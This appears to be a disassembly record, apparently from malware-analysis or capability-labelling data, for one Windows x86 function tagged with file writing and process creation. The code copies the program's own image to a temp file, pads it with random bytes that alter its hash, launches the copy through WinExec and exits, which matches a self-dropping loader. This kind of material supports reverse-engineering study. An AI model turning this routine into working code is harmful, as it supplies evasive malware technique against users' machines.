Function at 0x401c9f
Capabilities:
Create process on windows
Get common file path
Terminate process
Write and execute a file
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x748
push edi
push 0x100000
call sub.MFC42.DLL_operatornew
add esp, 4
mov dword [ebp - 0x73c], eax
mov eax, dword [ebp - 0x73c]
mov dword [ebp - 0x334], eax
push 0x100000
push 0
mov ecx, dword [ebp - 0x334]
push ecx
call sub.MSVCRT.DLL_memset
add esp, 0xc
mov dword [ebp - 0x21c], 0
lea edx, [ebp - 0x21c]
push edx
call dword [sym.imp.MSVCRT.DLL___p___argv]
mov eax, dword [eax]
mov ecx, dword [eax]
push ecx
mov edx, dword [ebp - 0x334]
push edx
call fcn.00401ba1
add esp, 0xc
mov dword [ebp - 0x738], eax
mov eax, dword [ebp - 0x334]
xor ecx, ecx
mov cl, byte [eax]
cmp ecx, 0x4d
je 0x401d49
lea edx, [ebp - 0x21c]
push edx
call dword [sym.imp.MSVCRT.DLL___p___argv]
mov eax, dword [eax]
mov ecx, dword [eax]
push ecx
mov edx, dword [ebp - 0x334]
push edx
call fcn.00401ba1
add esp, 0xc
push 0x64
call dword [sym.imp.KERNEL32.DLL_Sleep]
jmp 0x401d0f
mov byte [ebp - 0x104], 0
mov ecx, pe_nt_image_headers32
xor eax, eax
lea edi, [ebp - 0x103]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov byte [ebp - 0x114], 0
xor eax, eax
mov dword [ebp - 0x113], eax
mov dword [ebp - 0x10f], eax
mov dword [ebp - 0x10b], eax
mov word [ebp - 0x107], ax
mov byte [ebp - 0x105], al
push 5
lea ecx, [ebp - 0x114]
push ecx
call fcn.00401b0b
add esp, 8
call dword [sym.imp.KERNEL32.DLL_GetTickCount]
xor edx, edx
mov ecx, 0x200
div ecx
mov dword [ebp - 0x328], edx
mov byte [ebp - 0x320], 0
mov ecx, pe_nt_image_headers32
xor eax, eax
lea edi, [ebp - 0x31f]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea edx, [ebp - 0x320]
push edx
push 0x104
call dword [sym.imp.KERNEL32.DLL_GetTempPathA]
lea eax, [ebp - 0x114]
push eax
lea ecx, [ebp - 0x320]
push ecx
push 0x407164
lea edx, [ebp - 0x104]
push edx
call dword [sym.imp.USER32.DLL_wsprintfA]
add esp, 0x10
push 0
push 0x80
push 2
push 0
push 2
push 0x40000000
lea eax, [ebp - 0x104]
push eax
call dword [sym.imp.KERNEL32.DLL_CreateFileA]
mov dword [ebp - 0x330], eax
mov ecx, dword [ebp - 0x328]
push ecx
call sub.MFC42.DLL_operatornew
add esp, 4
mov dword [ebp - 0x740], eax
mov edx, dword [ebp - 0x740]
mov dword [ebp - 0x32c], edx
push 0x64
call dword [sym.imp.KERNEL32.DLL_Sleep]
push 0
lea eax, [ebp - 0x324]
push eax
mov ecx, dword [ebp - 0x21c]
push ecx
mov edx, dword [ebp - 0x334]
push edx
mov eax, dword [ebp - 0x330]
push eax
call dword [sym.imp.KERNEL32.DLL_WriteFile]
push 0x64
call dword [sym.imp.KERNEL32.DLL_Sleep]
push 0
lea ecx, [ebp - 0x324]
push ecx
mov edx, dword [ebp - 0x328]
push edx
mov eax, dword [ebp - 0x32c]
push eax
mov ecx, dword [ebp - 0x330]
push ecx
call dword [sym.imp.KERNEL32.DLL_WriteFile]
mov edx, dword [ebp - 0x330]
push edx
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
mov eax, dword [ebp - 0x32c]
mov dword [ebp - 0x744], eax
mov ecx, dword [ebp - 0x744]
push ecx
call sub.MFC42.DLL_operatordelete
add esp, 4
mov dword [ebp - 0x32c], 0
mov edx, dword [ebp - 0x334]
mov dword [ebp - 0x748], edx
mov eax, dword [ebp - 0x748]
push eax
call sub.MFC42.DLL_operatordelete
add esp, 4
mov dword [ebp - 0x334], 0
mov byte [ebp - 0x734], 0
mov ecx, 0xff
xor eax, eax
lea edi, [ebp - 0x733]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov byte [ebp - 0x218], 0
mov ecx, pe_nt_image_headers32
xor eax, eax
lea edi, [ebp - 0x217]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
call dword [sym.imp.MSVCRT.DLL___p___argv]
mov ecx, dword [eax]
mov edx, dword [ecx]
push edx
lea eax, [ebp - 0x218]
push eax
call sub.MSVCRT.DLL_strcpy
add esp, 8
lea ecx, [ebp - 0x218]
push ecx
lea edx, [ebp - 0x104]
push edx
push 0x407170
lea eax, [ebp - 0x734]
push eax
call dword [sym.imp.USER32.DLL_wsprintfA]
add esp, 0x10
push 0
lea ecx, [ebp - 0x734]
push ecx
call dword [sym.imp.KERNEL32.DLL_WinExec]
push 0x1f4
call dword [sym.imp.KERNEL32.DLL_Sleep]
push 0xffffffffffffffff
call dword [sym.imp.KERNEL32.DLL_ExitProcess]